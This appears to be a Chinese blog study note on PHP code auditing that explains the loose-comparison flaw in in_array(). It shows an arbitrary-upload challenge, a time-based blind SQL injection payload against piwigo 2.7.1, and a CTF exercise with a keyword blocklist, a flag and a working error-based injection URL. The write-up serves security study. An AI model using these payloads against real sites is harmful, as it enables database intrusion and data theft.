文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2020-06-09   1.2k

PHP代码审计学习——Day1 in_array函数缺陷

学习资源均来自于mochazz师傅,感谢红日安全代码审计小组的分享

0x01 Day1 - Wish List

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Challenge {
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;

public function __construct($file) {
$this->file = $file;
$this->whitelist = range(1, 24);
}

public function __destruct() {
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}

$challenge = new Challenge($_FILES['solution']);

这一关卡考察的是一个任意文件上传漏洞,主要问题出在in_array函数,来看官方文档对这个函数的解释:

in_array (PHP 4, PHP 5, PHP 7)

功能:检查数组中是否存在某个值

定义:in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) : bool

$haystack 中搜索 $needle ,如果第三个参数 $strict 的值为 TRUE ,则 in_array() 函数会进行强检查,检查 $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack ,则返回 TRUE,否则返回 FALSE

由于该函数并未将第三个参数设置为,所以攻击者可以利用此处构造文件名为7shell.php,in_array()函数会将7shell.php强制转换为数字7,数字7在$this-> whitelist也就是数组的1-24中,绕过in_array()的函数判断,可以构造任意文件上传漏洞。

0x02 实例分析 - piwigo2.7.1

首先安装好网站后,随便发布一张图片,漏洞的入口文件在 picture.php 中,具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
// picture.php
if (isset($_GET['action']))
{
switch ($_GET['action'])
{
......
case 'rate' :
{
include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
rate_picture($page['image_id'], $_POST['rate']);
redirect($url_self);
}
......

$_GET[‘action’]rate 的时候,就会调用文件 include/functions_rate.inc.php 中的 rate_picture 方法,而漏洞便存在这个方法中。

跟入rate_picture 函數,函数对 $rate 变量进行检测,判断 ​rate 是否在 ​$conf[‘rate_items’] 中, ​$conf[‘rate_items’] 的内容可以在 include\config_default.inc.php 中找到,为 $conf['rate_items'] = array(0,1,2,3,4,5);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function rate_picture($image_id, $rate)
{
global $conf, $user;

if (!isset($rate)
or !$conf['rate']
or !in_array($rate, $conf['rate_items']))
{
return false;
}

$user_anonymous = is_autorize_status(ACCESS_CLASSIC) ? false : true;

if ($user_anonymous and !$conf['rate_anonymous'])
{
return false;
}
......
$query = '
INSERT
INTO '.RATE_TABLE.'
(user_id,anonymous_id,element_id,rate,date)
VALUES
('
.$user['id'].','
.'\''.$anonymous_id.'\','
.$image_id.','
.$rate
.',NOW())
;';
pwg_query($query);

由于这里(第7行)并没有将 in_array() 函数的第三个参数设置为 true ,所以会进行弱比较,可以绕过。比如我们将 $rate 的值设置成 1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));# 那么SQL语句就变成:

1
INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date) VALUES (2,'192.168.2',1,1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#,NOW()) ;

0x03 练习题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "<center><table border='1'>";
foreach ($row as $key => $value) {
echo "<tr><td><center>$key</center></td><br>";
echo "<td><center>$value</center></td></tr><br>";
}
echo "</table></center>";
}
else{
die($conn->error);
}

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//config.php
<?php
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day1";

function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 搭建CTF环境使用的sql语句
create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null );

INSERT INTO users VALUES(1,'Lucia','[email protected]',3000);
INSERT INTO users VALUES(2,'Danny','[email protected]',4500);
INSERT INTO users VALUES(3,'Alina','[email protected]',2700);
INSERT INTO users VALUES(4,'Jameson','[email protected]',10000);
INSERT INTO users VALUES(5,'Allie','[email protected]',6000);

create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');

尝试对id这个参数注入发现config.php对注入进行了限制,过滤了关键字insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval

我们可以使用报错注入,把group_concat换成make_set函数用于拼接字符串。

make_set:https://blog.csdn.net/qq_41725312/article/details/83039525

Payload:

1
http://127.0.0.1/PHP-Audit-Labs/day1/?id=3%20and%20(select%20updatexml(1,make_set(3,%27~%27,(select%20flag% 20from%20flag)),1))

Copyright © ca01h 2019-2020 | 本站总访问量